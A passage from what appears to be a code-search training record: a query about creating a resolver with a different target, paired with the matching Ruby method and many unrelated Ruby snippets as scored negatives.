account.object_mask(\"mask[id,label]\").getSshKeys }\n key_ids = []\n Array(env[:machine].provider_config.ssh_key).each do |key|\n pattern = key.is_a?(String) ? \"label\" : \"id\"\n key_hash = acc_keys.find { |acc_key| acc_key[pattern] == key }\n raise Errors::SLSshKeyNotFound, :key => key unless key_hash\n key_ids << key_hash[\"id\"]\n end\n return (ids_only ? key_ids : key_ids.map { |key_id| { :id => key_id } })\n end", "def getKeys(data_keys)\r\n data_keys[0].keys\r\n end", "def keys\n config.resolver.keys(_container)\n end", "def extract_environment_variables! #:nodoc:\n args.delete_if do |arg|\n next unless arg.match(/^(\\w+)=(.*)$/)\n ENV[$1] = $2\n end\n end", "def vars(keys_and_values:)\n keys_and_values\n .inject self do |additional_options, (key, value)|\n additional_options\n .var(\n key: key,\n value: value\n )\n end\n end", "def environments\n environment_config.keys\n end", "def env(key) \n str = key.to_s \n env?(str) ? ENV[str] : nil\n end", "def get_env_mappings()\n {\n 'prd' => 'production',\n 'prv' => 'preview',\n 'rev' => 'review',\n 'stg' => 'staging',\n 'qa' => 'qa',\n 'dev' => 'development',\n 'dvp' => 'devops',\n }\nend", "def list_keys()\n # TODO\n end", "def keys=(keys_array)\n\t\t\tif keys_array.is_a?(Array)\n\t\t\t\t@lookup = []\n\t\t\t\tdial!(*keys_array)\n\t\t\telse\n\t\t\t\traise ArgumentError, 'Key list must be set to an array.'\n\t\t\tend\n\t\tend", "def keys\n configs.keys | store.keys\n end", "def environment_item prefix, key, value\n {Oaf::Util.prepare_key(prefix, key) => Oaf::Util.flatten(value)}\n end", "def update_key_list(keys)\n key_list = get_key_list\n type = keys.first.to_sym\n key_list[type] = key_list[type] || Set.new\n key_chain = keys[1..-1].join('.')\n unless key_list[type].include?(key_chain)\n key_list[type].add key_chain\n _write(Common::KEY, key_list)\n end\n end", "def set_vars(vars_dictionary)\n command = <<~HEREDOC\n echo \"setting Environment Variables\"\n sources ~/.bashec\n HEREDOC\n\n vars_dictionary.each do |key, value|\n command = <<~HEREDOC\n if [ -z \"#{key}\"]; then\n echo \"export#{key}=#{value}\" >> ~/.bashrc\n fi\n HEREDOC\n end\n\n return command\nend", "def keys\n map(&:key).uniq\n end", "def gets(keys)\n get(keys, true)\n end", "def get_assigned_keys(endusers)\n keys = Array.new\n endusers.each do |enduser|\n relationships = Relationship.where(\"endusers like?\", \"%#{enduser[:id]}\")\n relationships.each do |relationship|\n unless relationship[:keys].blank?\n key = Key.find(relationship[:keys])\n key = key.as_json\n key[\"enduser\"] = enduser[:id]\n keys.push(key)\n end\n end\n end\n\n return keys\n end", "def var_names\n @var_names ||= eval \"local_variables\", get_binding\n end", "def env_name(key); end", "def keys\n store.keys.select{ |k| k.match(/^#{prefix}/) and self[k] }\n end", "def registered_env_vars\n @registered_env_vars = @registered_env_vars || {}\n end", "def registered_env_vars\n @registered_env_vars = @registered_env_vars || {}\n end", "def parse_keys(keys)\n if keys.include?('[') || keys.include?(']')\n keys.delete(']').split('[')\n else\n [keys]\n end\n end", "def keys(*args)\n @params.keys(*args)\n end", "def keys(*args)\n @params.keys(*args)\n end", "def keys\n @values.keys.collect{|rkey| @references_to_keys_map[rkey].object}.compact\n end", "def keys\n [Array(hash_keys) + Array(range_keys)].flatten.uniq\n end", "def keys\n [Array(hash_keys) + Array(range_keys)].flatten.uniq\n end", "def keys\n store.keys.select { |k| k.match(/^#{prefix}/) and self[k] }\n end", "def load_envvars\n Pkg::Params::ENV_VARS.each do |v|\n if var = ENV[v[:envvar].to_s]\n case v[:type]\n when :bool\n self.instance_variable_set(\"@#{v[:var]}\", Pkg::Util.boolean_value(var))\n when :array\n self.instance_variable_set(\"@#{v[:var]}\", string_to_array(var))\n else\n self.instance_variable_set(\"@#{v[:var]}\", var)\n end\n end\n end\n end", "def env_vars\n @env ||= calculate_env_vars\n end", "def keys(glob = \"*\")\n on_each_node(:keys, glob).flatten\n end", "def keys(arg = nil)\n if arg.nil?\n storage.keys\n else\n with_interest(arg).map { |key, _, _| key }\n end\n end", "def keys\n @config.keys\n end", "def get_array_of_symbolic_keys\n # getting array of keys (in symbol form)\n all_fields = self.attributes.keys.map do |key|\n key.to_sym;\n end\n return all_fields\n end", "def key_set()\n return @outputs.keys()\n end", "def keys(objs)\n if objs.instance_of? String\n objs = objs.split /,/\n end\n (not objs) ? '' : objs.compact.map {|x| x.to_k}.join(',')\n end", "def all_environments\n envs = []\n find('').sort.each do |file|\n envs << File.basename(file)\n end\n envs\n end", "def keys\n configuration.keys\n end", "def keys(glob = T.unsafe(nil)); end" ]
[ "0.6655213", "0.6197443", "0.6083288", "0.6008368", "0.59666985", "0.59622127", "0.59620655", "0.59447426", "0.581394", "0.5810972", "0.5748481", "0.57121944", "0.5659076", "0.5642188", "0.5582867", "0.5577952", "0.55763423", "0.5549064", "0.55395037", "0.5509973", "0.55035776", "0.549839", "0.5481707", "0.54710317", "0.54709506", "0.54601777", "0.54586065", "0.5455519", "0.5454884", "0.5447375", "0.54440886", "0.54351074", "0.5430838", "0.5430734", "0.54209363", "0.5418232", "0.54122114", "0.54122114", "0.5374183", "0.5374183", "0.5369543", "0.5354882", "0.5346235", "0.5338185", "0.53285855", "0.53285855", "0.53136474", "0.5294834", "0.5293827", "0.52930254", "0.52889144", "0.52821183", "0.5278991", "0.527553", "0.52726585", "0.5268455", "0.5264574", "0.5252143", "0.5251751", "0.5242896", "0.52353936", "0.52032655", "0.5201527", "0.52011335", "0.51987994", "0.5196164", "0.51926094", "0.51842767", "0.5181157", "0.51792073", "0.51752627", "0.5167809", "0.51612854", "0.51537395", "0.5151138", "0.5148309", "0.51414984", "0.5140171", "0.51340824", "0.5128798", "0.5128798", "0.5127049", "0.5123768", "0.5123768", "0.5120646", "0.51123774", "0.51123774", "0.5110479", "0.5109236", "0.5104633", "0.51045054", "0.5104278", "0.5099534", "0.5094365", "0.50875854", "0.50856584", "0.5084408", "0.5079822", "0.50797534" ]
0.58811796
9
Creates a new instance of the resolver with a different target and yields it to a block. The return value of the block is then passed back as a string.
def with(target = DEFAULT_TARGET) yield(self.class.new(options.merge(target: target))) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def resolve(&blk)\n @context = blk.binding.receiver\n instance_exec(&blk)\n end", "def capture_block(target=StringIO.new)\r\n current = @target\r\n\r\n begin\r\n @target = target\r\n yield\r\n ensure\r\n @target = current\r\n end\r\n\r\n target\r\n end", "def for_target(target)\n @target_name = target[:target_name].to_s\n return self\n end", "def target(name, options = {})\n parent = @target_definition\n @target_definitions[name] = @target_definition = TargetDefinition.new(name, parent, self, options)\n yield\n ensure\n @target_definition = parent\n end", "def find_proxy_target_with_proc(options = {}, &block)\n metadata.find_with.call(proxy_owner, options, &block)\n end", "def with(target = DEFAULT_TARGET)\n klass = Class.new(self.class)\n klass.configure { |c| c.target = target }\n\n yield(klass.new)\n end", "def _target\n @_target ||= @_initializer.call\n end", "def rewrite(&block)\n self\n end", "def new_target\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 65 )\n return_value = NewTargetReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n root_0 = nil\n receiver316 = nil\n accessor317 = nil\n\n stream_receiver = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule receiver\" )\n stream_accessor = ANTLR3::AST::RewriteRuleSubtreeStream.new( @adaptor, \"rule accessor\" )\n begin\n # at line 685:5: ( receiver -> receiver ) ( accessor ->)*\n # at line 685:5: ( receiver -> receiver )\n # at line 685:7: receiver\n @state.following.push( TOKENS_FOLLOWING_receiver_IN_new_target_4861 )\n receiver316 = receiver\n @state.following.pop\n if @state.backtracking == 0\n stream_receiver.add( receiver316.tree )\n end\n # AST Rewrite\n # elements: receiver\n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 685:16: -> receiver\n @adaptor.add_child( root_0, stream_receiver.next_tree )\n\n\n\n return_value.tree = root_0\n\n end\n # at line 686:5: ( accessor ->)*\n while true # decision 75\n alt_75 = 2\n look_75_0 = @input.peek( 1 )\n\n if ( look_75_0 == LBRACK )\n alt_75 = 1\n elsif ( look_75_0 == DOT )\n alt_75 = 1\n\n end\n case alt_75\n when 1\n # at line 686:7: accessor\n @state.following.push( TOKENS_FOLLOWING_accessor_IN_new_target_4875 )\n accessor317 = accessor\n @state.following.pop\n if @state.backtracking == 0\n stream_accessor.add( accessor317.tree )\n end\n # AST Rewrite\n # elements: \n # token labels: \n # rule labels: return_value\n # token list labels: \n # rule list labels: \n # wildcard labels: \n if @state.backtracking == 0\n\n return_value.tree = root_0\n stream_return_value = return_value ? subtree_stream( \"rule return_value\", return_value.tree ) : subtree_stream( \"token return_value\" )\n\n root_0 = @adaptor.create_flat_list\n # 686:16: ->\n @adaptor.add_child( root_0, ( prepend_tree( accessor317.tree, return_value.tree ) ) )\n\n\n\n return_value.tree = root_0\n\n end\n else\n break # out of loop for decision 75\n end\n end # loop for decision 75\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look( -1 )\n\n if @state.backtracking == 0\n\n return_value.tree = @adaptor.rule_post_processing( root_0 )\n @adaptor.set_token_boundaries( return_value.tree, return_value.start, return_value.stop )\n\n end\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n return_value.tree = @adaptor.create_error_node( @input, return_value.start, @input.look(-1), re )\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 65 )\n\n end\n \n return return_value\n end", "def target(name, options = nil)\n if options\n raise Informative, \"Unsupported options `#{options}` for \" \\\n \"target `#{name}`.\"\n end\n\n parent = current_target_definition\n definition = TargetDefinition.new(name, parent)\n self.current_target_definition = definition\n yield if block_given?\n ensure\n self.current_target_definition = parent\n end", "def target\n if !block_given?\n return @j_del.java_method(:target, []).call()\n end\n raise ArgumentError, \"Invalid arguments when calling target()\"\n end", "def route(&block)\n @router ||= Router.new\n @router.instance_eval(&block)\n end", "def mod_target\n case @kind\n when :instance\n mod_resolve\n when :class, :module\n (class << mod_resolve; self; end)\n else\n raise ArgumentError, \"mod_target: invalid kind #{kind.inspect}\"\n end\n end", "def initialize\n @get_target_type = ->t{t}\n @get_target_field = ->f{f.name}\n @get_target_key = ->f{f.name}\n yield(self) if block_given?\n end", "def resolve(key, &block)\n config.resolver.call(_container, key, &block)\n end", "def resolver; end", "def to(name, &blk)\n old, @to = @to, name\n result = yield\n @to = old\n result\n end", "def target\n @target ||= Target.find(options[:target]).new(options[:directory])\n end", "def target\n\t\t\t@target_config ||= ConfigurationDefinition.new\n\t\t\tyield @target_config if block_given?\n\t\tend", "def target!\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 42 )\n\n type = TARGET\n channel = ANTLR3::DEFAULT_CHANNEL\n\n \n # - - - - main rule block - - - -\n # at line 372:9: 'target'\n match( \"target\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 42 )\n\n end", "def build_yield\n TransformationYield.new((params[:transformation_yield] || {}).merge(:transformation => Transformation.new))\n end", "def link\n raise ArgumentError, 'block not supplied' unless block_given?\n define_method { |*args, &block| yield caller, self, args, block }\n end", "def to(target, rel_type = @method_id)\n @dir = :outgoing\n\n case target\n when /#/\n @target_name, _ = target.to_s.split(\"#\")\n @rel_type = target.to_sym\n when Class, String\n @target_name = target.to_s\n @rel_type = \"#{@source_class}##{rel_type}\".to_sym\n when Symbol\n @target_name = nil\n @rel_type = target.to_sym\n else\n raise \"Expected a class or a symbol for, got #{target}/#{target.class}\"\n end\n self\n end", "def resolver_returning_response\n resolver = Dnsruby::Resolver.new\n def resolver.send_plain_message(_message)\n [:response_from_send_plain_message, nil]\n end\n resolver\n end", "def resolve options = { timeout: Bildchen.timeout }\n if path = _resolve(uri.path, options)\n dupe = uri.dup\n dupe.path = path\n dupe.to_s\n end\n end", "def with_target\n self\n end", "def resolve(context, path)\n factory = @parser.parse_string(path)\n v = resolve_any(factory.model.body, context, path)\n v.is_a?(Builder) ? v.resolve : v\n end", "def each_resolver(&blk) # :yields: anAID\n resolvers.each(&blk)\n end", "def resolve\n Saml2::ArtifactResolver(source_id).resolve(self)\n end", "def proxy(&block)\n if block_given?\n @proxy = block\n else\n if @proxy.is_a? Proc\n @proxy.call\n else\n @proxy\n end\n end\n end", "def find(destination=nil, &block)\n # use the prepared event & target, and block, if none are supplied\n event, target = destination.nil? ? [options[:event], options[:target]] : parse_destination(destination)\n block ||= @block\n returning Transition.new(binding, event, target, &block) do |transition|\n if @args\n transition.args = @args \n end\n end \n end", "def to(target, rel_type = @method_id)\n @dir = :outgoing\n\n if Class === target || String === target\n # handle e.g. has_n(:friends).to(class)\n @target_name = target\n @rel_type = \"#{@source_class}##{rel_type}\".to_sym\n elsif Symbol === target\n # handle e.g. has_n(:friends).to(:knows) or to(\"Person#friends\")\n @target_name = target.to_s.split(\"#\")[0] if target.to_s.include?(\"#\")\n @rel_type = target.to_sym\n else\n raise \"Expected a class or a symbol for, got #{target}/#{target.class}\"\n end\n self\n end", "def target(name, &block)\n t = TargetDef.new(name)\n @targets.push(t)\n\n block.call(t)\n end", "def resolve\n end", "def each_target\n return enum_for(__method__) unless block_given?\n\n @doc.search('/document/results/target').each do |target|\n yield Target.new(target)\n end\n end", "def target\n return self\n end", "def newpath(&block)\n psfc=RGhost::PsFacade.new\n yield psfc\n raw :newpath\n set psfc\n raw :closepath\n #set RGhost::NewPath.new(&block)\n end", "def generate_next\n @block.call(@so_far)\n end", "def call(match_target)\n self.to_proc.call(match_target)\n end", "def to_proc\n -> target { self.call(target) }\n end", "def to_proc\n -> target { self.call(target) }\n end", "def self \n if block_given?\n yield self\n else\n self\n end", "def resolve_route(request, &block)\n RouteResolver.new(request).resolve(&block)\n end", "def resolver\n @resolver = Dnsruby::Resolver.new if @resolver==nil\n @resolver\n end", "def from(target, rel_type=@method_id)\n @dir = :incoming\n\n case target\n when /#/\n @target_name, _ = target.to_s.split(\"#\")\n @rel_type = target\n when Class, String\n @target_name = target.to_s\n @rel_type = \"#{@target_name}##{rel_type}\".to_sym\n when Symbol\n @target_name = nil\n @rel_type = target.to_sym\n else\n raise \"Expected a class or a symbol for, got #{target}/#{target.class}\"\n end\n self\n end", "def realize\n results = deferrable.call(group, group_key)\n targets.each { |t| yield(t, results[t.id]) } if block_given?\n results\n end", "def source\r\n @_source ||= @_block.call\r\n end", "def initialize(target=nil, &block)\n super()\n @domain = target.domain if target\n @range = target.range if target\n @block = block if block\n end", "def from_block\n options = new\n dsl = ExecutionOptionsDSL.new(options)\n yield dsl\n options\n end", "def mapper(&block)\n @mapper = DSL::Mapper.new\n @mapper.instance_exec(&block)\n end", "def lookup target, *arg\n\t\t\toutput = arg[0] ? arg[0] : Array.new\n\t\t\tnode = @root\n\n\t\t\t# If this is a string process each character\n\t\t\tif String(target) == target\n\t\t\t\ttarget.each_char do |char|\n\t\t\t\t\t# Follow the failures until a goto transition is found\n\t\t\t\t\t# or we return to the root node.\n\t\t\t\t\twhile(!node.goto(char) and !node.eql? @root)\n\t\t\t\t\t\tnode = node.failure\n\t\t\t\t\tend\n\n\t\t\t\t\t# If there is a goto transition follow it; otherwise, \n\t\t\t\t\t# we can assume we are at the root node.\n\t\t\t\t\tif node.goto(char)\n\t\t\t\t\t\tnode = node.goto(char)\n\n\t\t\t\t\t\tif node.output\t\t\n\t\t\t\t\t\t\tif block_given?\n\t\t\t\t\t\t\t\toutput = yield output, node.output\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\toutput = output + node.output\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\telse # Otherwise, target should support \"each\" method.\n\t\t\t\tfor item in target\n\t\t\t\t\t# Follow the failures until a goto transition is found\n\t\t\t\t\t# or we return to the root node.\n\t\t\t\t\twhile(!node.goto(item) and !node.eql? @root)\n\t\t\t\t\t\tnode = node.failure\n\t\t\t\t\tend\n\n\t\t\t\t\t# If there is a goto transition follow it; otherwise, \n\t\t\t\t\t# we can assume we are at the root node.\n\t\t\t\t\tif node.goto(item)\n\t\t\t\t\t\tnode = node.goto(item)\n\n\t\t\t\t\t\tif node.output\t\t\n\t\t\t\t\t\t\tif block_given?\n\t\t\t\t\t\t\t\toutput = yield output, node.output\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\toutput = output + node.output\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\n\t\t\treturn output\n\t\tend", "def initialize(value, resolver)\n super()\n self.input = value\n self.resolver = resolver\n self.result = nil\n end", "def target\n resource or raise TargetNotFound.new (@options[:class_name] || @target_name.to_s.camelize), namespace\n end", "def target!\n @target\n end", "def target\n @target ||= parse_response(request(build_request))\n end", "def resolve(parser)\n end", "def target\n # -> uncomment the next line to manually enable rule tracing\n # trace_in( __method__, 34 )\n return_value = TargetReturnValue.new\n\n # $rule.start = the first token seen before matching\n return_value.start = @input.look\n\n begin\n # at line 156:12: uri\n @state.following.push(TOKENS_FOLLOWING_uri_IN_target_1235)\n uri\n @state.following.pop\n # - - - - - - - rule clean up - - - - - - - -\n return_value.stop = @input.look(-1)\n\n rescue ANTLR3::Error::RecognitionError => re\n report_error(re)\n recover(re)\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 34 )\n\n end\n\n return return_value\n end", "def each_target(&block)\n if network?\n cmd = \"nmap -oG - #{to_s} -p 443\"\n IO.popen(cmd, 'r').each_line { |line|\n if matches = line.match(/^Host:\\s+([^\\s]+).*open.*$/)\n yield block, matches.captures[0]\n end\n }\n elsif ip_addr?\n yield block, to_s\n else\n yield block, to_ipaddr\n end\n\n end", "def target(name, options = {})\n parent = @target_definition\n @target_definitions[name] = @target_definition = TargetDefinition.new(name, options[:exclusive] ? nil : parent, options[:include_headers_for] ? @target_definitions[options[:include_headers_for]] : nil)\n yield\n ensure\n @target_definition = parent\n end", "def new\n respond_with(transformation_yield)\n end", "def target\n target, name, params, content = ast.children\n target\n end", "def transform(target_object, *args)\n @block.call(target_object, *args)\n end", "def perform\n @resolved_name = yield name ? [name] : []\n @resolved_value = yield value ? [value] : []\n end", "def proc\n if block_given?\n super\n else\n NamedProc::Proxy::Proc\n end\n end", "def resolve link\n @agent.resolve link\n end", "def resolver\n unless resolvers.empty?\n resolvers.first\n else\n nil\n end\n end", "def parsing(parser)\n yield\n resolve parser\n self\n end", "def using(t, &block)\n @cloud = self\n if t && self.class.available_bases.include?(t.to_sym)\n unless using_remoter?\n self.class.send :attr_reader, :remote_base\n self.class.send :attr_reader, :parent_cloud\n klass_string = \"#{t}\".classify\n klass = \"::PoolParty::Remote::#{klass_string}\".constantize\n \n @remote_base = klass.send :new, self, &block\n @remote_base.instance_eval &block if block \n options[:remote_base] = klass.to_s if respond_to?(:options)\n \n @parent_cloud = @cloud\n instance_eval \"def #{t};@remote_base;end\"\n end\n else\n raise \"Unknown remote base: #{t}\"\n end\n end", "def create_target_from_inventory(target_name)\n target_data = @groups.target_collect(target_name) || { 'uri' => target_name }\n\n target = Bolt::Inventory::Target.new(target_data, self)\n @targets[target.name] = target\n\n add_to_group([target], 'all')\n\n target\n end", "def resolve_reference; end", "def with(**new_options, &blk)\n options = {\n base_url: @base_url,\n prefix: @path_prefix.to_s,\n resolver: @resolver,\n not_allowed: @not_allowed,\n not_found: @not_found,\n block_context: @block_context,\n inspector: @inspector\n }\n\n self.class.new(**options.merge(new_options), &(blk || @blk))\n end", "def unit\n \"#{context}##{target}\"\n end", "def to(params = {}, &block)\n if block_given?\n new_behavior = self.class.new({}, params, self)\n yield new_behavior if block_given?\n new_behavior\n else\n to_route(params).register\n end\n end", "def to(target)\n @dir = :outgoing\n\n if (Class === target)\n # handle e.g. has_n(:friends).to(class)\n @target_class = target\n @rel_type = \"#{@target_class}##{@method_id}\"\n elsif (Symbol === target)\n # handle e.g. has_n(:friends).to(:knows)\n @rel_type = target.to_s\n else\n raise \"Expected a class or a symbol for, got #{target}/#{target.class}\"\n end\n self\n end", "def resolve(val)\n return nil if not val\n return val if [String, Integer, Ruckus::Mutator::Mutator].kind_of_these? val\n return val if val == true\n return val if val == false\n\n o = {}\n\n if val.kind_of? Symbol\n o[:meth] = val\n elsif val.kind_of? Hash\n o = o.merge(val)\n end\n\n if (t = @from_tag) || (t = o[:from_tag])\n o[:source] = root.find_tag(t)\n raise \"can't find\" if not o[:source]\n end\n\n if (f = @from_field) || (f = o[:from_field])\n o[:source] = parent_struct.send f\n raise \"can't find field\" if not o[:source]\n end\n\n place = parent.place(self)\n\n if not o[:source]\n raise \"unparented\" if not parent\n\n o[:offset] ||= 1\n o[:offset] = 0 if o[:offset] == :this\n o[:offset] = -1 if o[:offset] == :prev\n o[:offset] = 1 if o[:offset] == :next\n\n loc = place + o[:offset]\n o[:source] = parent[loc]\n\n raise \"can't resolve #{ o } for #{ @name }\" if not o[:source]\n end\n\n if not o[:block]\n o[:meth] ||= :size\n\n if o[:source] == :rest\n r = 0\n ((place+1)..(parent.size)).each do |i|\n r += parent[i].send(o[:meth]) if parent[i]\n end\n else\n r = o[:source].send o[:meth]\n end\n else\n r = o[:block].call o[:source]\n end\n\n # cheat: if resolution returns a symbol --- which happens\n # with len/string pairs, because they depend on each other ---\n # return nil. This effectively unbounds the string during to_s.\n r = nil if r.kind_of? Symbol\n\n r = @modifier.call(self, r) if @modifier\n return r\n end", "def dsl_eval_with_block_return(dsl, *args, &block)\n exec_in_proxy_context(dsl, FallbackContextProxy, *args, &block)\n end", "def resolve_local(options={})\r\n resolver = RGen::Instantiator::ReferenceResolver.new\r\n index.each do |i|\r\n resolver.add_identifier(i[0], i[1])\r\n end\r\n @unresolved_refs = resolver.resolve(unresolved_refs, :use_target_type => options[:use_target_type])\r\n end", "def base_resolve(**)\n object\n end", "def helpers( target, &block )\n if target.is_a? String\n target = Object.const_get target.capitalize\n end\n target.class_eval &block\n end", "def call(target)\n @matchers.each { |guard_block_matcher|\n next unless guard_block_matcher.match?(target)\n return guard_block_matcher.match(target)\n }\n\n return @else.call(target) if @else\n\n nil\n end", "def to_generate_object(&block_)\n if block_\n @gen_obj = block_\n else\n @gen_obj\n end\n end", "def route_to(oth)\n parser.__send__(:convert_to_uri, oth).route_from(self)\n end", "def router\n @router ||= PathRouter.new\n block_given? ? yield(@router) : @router\n end", "def resolver\n @resolver ||= Resolver.new @cache, @git_resolver\n end", "def target\n @target ||= Details.new(request(build_request))\n end", "def target\n @target ||= Details.new(request(build_request))\n end", "def define_resolution(resolve_name, &block)\n resolve = self.resolution(resolve_name)\n\n if resolve.nil?\n resolve = Facter::Util::Resolution.new(resolve_name)\n resolve.instance_eval(&block) if block\n @resolves << resolve\n else\n resolve.instance_eval(&block) if block\n end\n\n rescue => e\n Facter.warn \"Unable to add resolve #{resolve_name} for fact #{@name}: #{e}\"\n end", "def get_route_target server_type, msg, route_param, &block\n if @router_type\n router = case @router_type\n when :roundrobin\n method :rr_route\n when :weight_roundrobin\n method :wrr_route\n when :least_active\n method :la_route\n when :consistent_hash\n method :ch_route\n else\n method :rd_route\n end\n router.call(self, server_type, msg) { |err, server_id|\n block_given? and yield err, server_id\n }\n else\n unless @router.respond_to? :call\n block_given? and yield Exception.new 'invalid router method'\n return\n end\n @router.call(route_param, msg, @route_context) { |err, server_id|\n block_given? and yield err, server_id\n }\n end\n end", "def file(target, options={})\n target = relative_path(target)\n \n if block_given?\n io = StringIO.new\n yield(io)\n preview[target] = io.string\n end\n \n target\n end", "def resolve\n\n uri_to_be_resolved = @uri.clone\n \n \n if script? uri_to_be_resolved\n full_path = replace_script_aliases(uri_to_be_resolved)\n elsif alias? uri_to_be_resolved\n full_path = replace_aliases(uri_to_be_resolved)\n else\n full_path = File.join(@conf.document_root,uri_to_be_resolved)\n @uri_without_doc_root = uri_to_be_resolved.clone\n end\n\n if (! File.file? full_path) && ( @http_method.casecmp(\"PUT\") != 0)\n full_path = File.join(full_path,get_directory_index)\n end \n \n @resolved_uri = full_path.clone\n full_path \n end", "def return_for_targets(data)\n data.each_with_object(@data) do |(target, result), hsh|\n raise \"Mocked results must be hashes: #{target}: #{result}\" unless result.is_a? Hash\n # set the inventory from the BoltSpec::Plans, otherwise if we try to convert\n # this target to a string, it will fail to string conversion because the\n # inventory is nil\n hsh[target] = result_for(Bolt::Target.new(target, @inventory), **Bolt::Util.walk_keys(result, &:to_sym))\n end\n raise \"Cannot set return values and return block.\" if @return_block\n @data_set = true\n self\n end", "def block_node=(_); end", "def reverse() self.class.new(target, source, label); end", "def reverse() self.class.new(target, source, label); end", "def execute\n yield self if block_given?\n end", "def block_node; end", "def block_node; end", "def define_resolution(resolution_name, options = {}, &block)\n resolution_type = options.delete(:type) || :simple\n\n resolve = create_or_return_resolution(resolution_name, resolution_type)\n\n resolve.options(options) unless options.empty?\n resolve.evaluate(&block) if block\n\n resolve\n rescue StandardError => e\n log.log_exception(\"Unable to add resolve #{resolution_name.inspect} for fact #{@name}: #{e.message}\")\n nil\n end", "def perform(target, vma=nil, &block)\n vma ||= start_addr\n offset = target.vma_offset(vma)\n return nil if not offset\n\n addr = block.call(target.image, offset, vma) \n if addr\n # invoke callback\n handler.call(addr) if @handler\n # add to output\n output[vma] = addr if @output\n end\n\n addr\n end", "def yield\n @eff.yield.perform\n end" ]
[ "0.5933616", "0.54643095", "0.54549134", "0.54114133", "0.53234625", "0.52446145", "0.5225343", "0.5220903", "0.5213191", "0.52057123", "0.5185784", "0.51732653", "0.5156367", "0.5155563", "0.51521206", "0.5126637", "0.51148623", "0.50680816", "0.5027215", "0.5025179", "0.49931687", "0.49755993", "0.49749708", "0.49569002", "0.49522236", "0.4950468", "0.49386445", "0.49288678", "0.49235296", "0.491546", "0.489879", "0.48906165", "0.48900774", "0.48847994", "0.4877555", "0.48743808", "0.48691922", "0.48639852", "0.48633465", "0.4857818", "0.4857818", "0.4845369", "0.48352677", "0.48226982", "0.4816058", "0.48138103", "0.481371", "0.48119023", "0.48006096", "0.47998685", "0.4798355", "0.47929698", "0.47929448", "0.47890595", "0.47884706", "0.47870788", "0.478522", "0.47830775", "0.47748932", "0.47741753", "0.47592893", "0.47541484", "0.4752616", "0.47394294", "0.47370657", "0.47356945", "0.47307953", "0.4728771", "0.4727144", "0.47124702", "0.47089526", "0.47082385", "0.47002646", "0.4700172", "0.46923026", "0.4691163", "0.46879828", "0.4684594", "0.46796313", "0.46792012", "0.46785212", "0.4671097", "0.46706593", "0.46688724", "0.4663359", "0.4663359", "0.46599475", "0.4659903", "0.4652852", "0.46476224", "0.46416318", "0.46413165", "0.46385455", "0.46372274", "0.46361646", "0.46309707", "0.46309707", "0.4624189", "0.46206647", "0.4619737" ]
0.5279368
5
Returns true if the tree is old enough to bear fruit (6), false otherwise
def mature? self.age > 5 end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def rotten?\n @hatched > 3 ? true : false\n end", "def berzerk?\n @woot_count >= 5\n end", "def any_apples?\n # code to check if tree has any oranges goes here\n @apples.length > 0\n end", "def hungry?\n\t\t@stuff_in_belly <= 2\n\tend", "def hungry?\n\t\t@stuff_in_belly <= 2\n\tend", "def hungry?\r\n # methods that return true or false\r\n @stuff_in_belly <= 2\r\n end", "def flop?\n total_gross.blank? || total_gross < 50000000\n end", "def hungry?\r\n @food <= 2\r\n end", "def hungry?\n @stuff_in_belly <= 2\n end", "def hungry?\n @stuff_in_belly <= 2\n end", "def hungry?\n @stuff_in_belly <= 2\n end", "def hungry?\n\n\t\t @stuff_in_belly <= 2\n\t\tend", "def hungry?\n\t @stuff_in_belly <= 2\n\tend", "def loose?\n return true if budget.actual_earnings < 0\n return true if simulator.initial_budget and budget.total_used > 1.25 * simulator.initial_budget\n return true if simulator.actual_duration and simulator.actual_duration > 1.25 * simulator.original_duration\n return true if simulator.day and simulator.day > simulator.actual_duration\n false\n end", "def any_pears?\n # code to check if tree has any oranges goes here\n @pears.length > 0\n end", "def any_oranges?\n true if @oranges_in_tree.length > 0\n end", "def hungry?\n @stuffInBelly <= 2\n end", "def flop?\n if (reviews.sum(:stars) > 3 && (reviews.average(:stars) >= 3))\n false\n else\n total_gross.blank? || total_gross < 255_000_000\n end\n end", "def hungry?\n\t@stuff_in_belly <= 2\nend", "def any_oranges?\n # code to check if tree has any oranges goes here\n @oranges.length > 0\n end", "def can_train_footman?\n gold >= 135 && food >= 2\n end", "def can_train_footman?\n gold >= 135 && food >= 2\n end", "def hungry? # method returns true/false so we can use \"?\" as part of the name\n @stuff_belly <= 2\n end", "def hungry? # method returns true/false so we can use \"?\" as part of the name\n @stuff_belly <= 2\n end", "def bust (total)\n if total > 21\n return true\n else \n return false\n end\nend", "def hungry?\n # end a method with ? if it returnes true or false\n @stuff_in_belly <= 2\n end", "def can_train_peasant?\n gold >= 90 && food >= 5\n end", "def can_train_peasant?\n gold >= 90 && food >= 5\n end", "def isBusted\n\t\tif @value > 21\n\t\t\treturn true\n\t\tend\n\t\treturn false\n\tend", "def goal?(node)\n new_car = (node.cars.select {|car| car.color == 1})[0]\n return true if(new_car.x == Map_x - new_car.length + 1)\n false\n end", "def mature?\n @age >= 6\n end", "def hungry?\n@stuff_in_belly <= 2\nend", "def game_over?\n game_over = false\n safe_hotel_count = 0\n self.game_hotels.each do |hotel|\n if 